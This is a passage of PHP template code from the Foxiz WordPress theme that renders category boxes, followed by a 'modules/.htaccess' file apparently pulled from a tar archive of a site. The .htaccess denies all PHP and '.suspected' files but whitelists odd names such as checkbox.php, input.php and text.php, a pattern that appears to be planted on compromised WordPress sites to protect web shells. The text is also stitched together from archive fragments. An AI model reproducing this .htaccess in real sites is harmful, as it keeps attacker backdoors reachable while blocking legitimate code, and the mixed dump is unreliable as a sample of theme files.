</div> <?php } } if ( ! function_exists( 'foxiz_category_item_3' ) ) { /** * @param array $settings * * @return false */ function foxiz_category_item_3( $settings = array() ) { if ( ! empty( $settings['cid'] ) ) { $category = get_category( $settings['cid'] ); } elseif ( ! empty( $settings['slug'] ) ) { $category = get_category_by_slug( $settings['slug'] ); } if ( empty( $category ) ) { return false; } $description = true; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g2'; } if ( ! empty( $settings['description'] ) && '-1' === (string) $settings['description'] ) { $description = false; } $link = get_category_link( $category ); $id = $category->term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?> <div class="<?php echo 'cbox cbox-3 is-cbox-' . $category->term_id; ?>"> <div class="cbox-inner"> <a class="cbox-featured-overlay" href="<?php echo esc_url( $link ); ?>"><?php foxiz_render_category_featured( $featured_array, $featured_urls_array, $settings['crop_size'] ); ?></a> <div class="cbox-overlay overlay-wrap light-scheme"> <div class="cbox-body"> <div class="cbox-top cbox-content"> <?php if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> <span class="cbox-count is-meta"><?php echo esc_html( $count ) ?></span> <?php endif; echo '<' . esc_attr( $settings['title_tag'] ) . ' class="cbox-title">'; echo '<a class="p-url" href="' . esc_url( $link ) . '" rel="category">' . esc_html( $category->name ) . '</a>'; echo '</' . esc_attr( $settings['title_tag'] ) . '>'; ?> </div> <?php if ( ! empty( $category->description ) && $description ): ?> <div class="cbox-center cbox-description"> <?php echo wp_trim_words( $category->description, 25 ); ?> </div> <?php endif; if ( ! empty( $settings['follow'] ) && '1' === (string) $settings['follow'] ) { echo '<div class="cbox-bottom">'; foxiz_follow_trigger( array( 'id' => $id, 'classes' => 'is-light' ) ); echo '</div>'; } ?> </div> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_category_item_4' ) ) { /** * @param array $settings * * @return false */ function foxiz_category_item_4( $settings = array() ) { if ( ! empty( $settings['cid'] ) ) { $category = get_category( $settings['cid'] ); } elseif ( ! empty( $settings['slug'] ) ) { $category = get_category_by_slug( $settings['slug'] ); } if ( empty( $category ) ) { return false; } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $link = get_category_link( $category ); $id = $category->term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?> <div class="<?php echo 'cbox cbox-4 is-cbox-' . $category->term_id; ?>"> <div class="cbox-inner"> <?php if ( ! empty( $settings['follow'] ) && '1' === (string) $settings['follow'] ) { foxiz_follow_trigger( array( 'id' => $id, 'classes' => 'is-light' ) ); } ?> <a class="cbox-featured" href="<?php echo esc_url( $link ); ?>"><?php foxiz_render_category_featured( $featured_array, $featured_urls_array, $settings['crop_size'] ); ?></a> <div class="cbox-body"> <div class="cbox-content"> <?php if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> <span class="cbox-count is-meta"><?php echo esc_html( $count ) ?></span> <?php endif; echo '<' . esc_attr( $settings['title_tag'] ) . ' class="cbox-title">'; echo '<a class="p-url" href="' . esc_url( $link ) . '" rel="category">' . esc_html( $category->name ) . '</a>'; echo '</' . esc_attr( $settings['title_tag'] ) . '>'; ?> </div> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_category_item_5' ) ) { /** * @param array $settings * * @return false */ function foxiz_category_item_5( $settings = array() ) { if ( ! empty( $settings['cid'] ) ) { $category = get_category( $settings['cid'] ); } elseif ( ! empty( $settings['slug'] ) ) { $category = get_category_by_slug( $settings['slug'] ); } if ( empty( $category ) ) { return false; } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h4'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $link = get_category_link( $category ); $id = $category->term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?> <div class="<?php echo 'cbox cbox-5 is-cbox-' . $category->term_id; ?>"> <div class="cbox-featured-holder"> <?php if ( ! empty( $settings['follow'] ) && '1' === (string) $settings['follow'] ) : ?> <span class="cbox-featured"><?php foxiz_render_category_featured( $featured_array, $featured_urls_array, $settings['crop_size'] ); ?></span> <?php foxiz_follow_trigger( array( 'id' => $id, 'classes' => 'is-light' ) ); ?> <?php else : ?> <a class="cbox-featured" href="<?php echo esc_url( $link ); ?>"><?php foxiz_render_category_featured( $featured_array, $featured_urls_array, $settings['crop_size'] ); ?></a> <?php endif; ?> </div> <div class="cbox-content"> <?php echo '<' . esc_attr( $settings['title_tag'] ) . ' class="cbox-title">'; echo '<a class="p-url" href="' . esc_url( $link ) . '" rel="category">' . esc_html( $category->name ) . '</a>'; echo '</' . esc_attr( $settings['title_tag'] ) . '>'; if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> <span class="cbox-count is-meta"><?php echo esc_html( $count ) ?></span> <?php endif; ?> </div> </div> <?php } } modules/.htaccess 0000644 00000001626 14720702672 0010026 0 ustar 00 <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>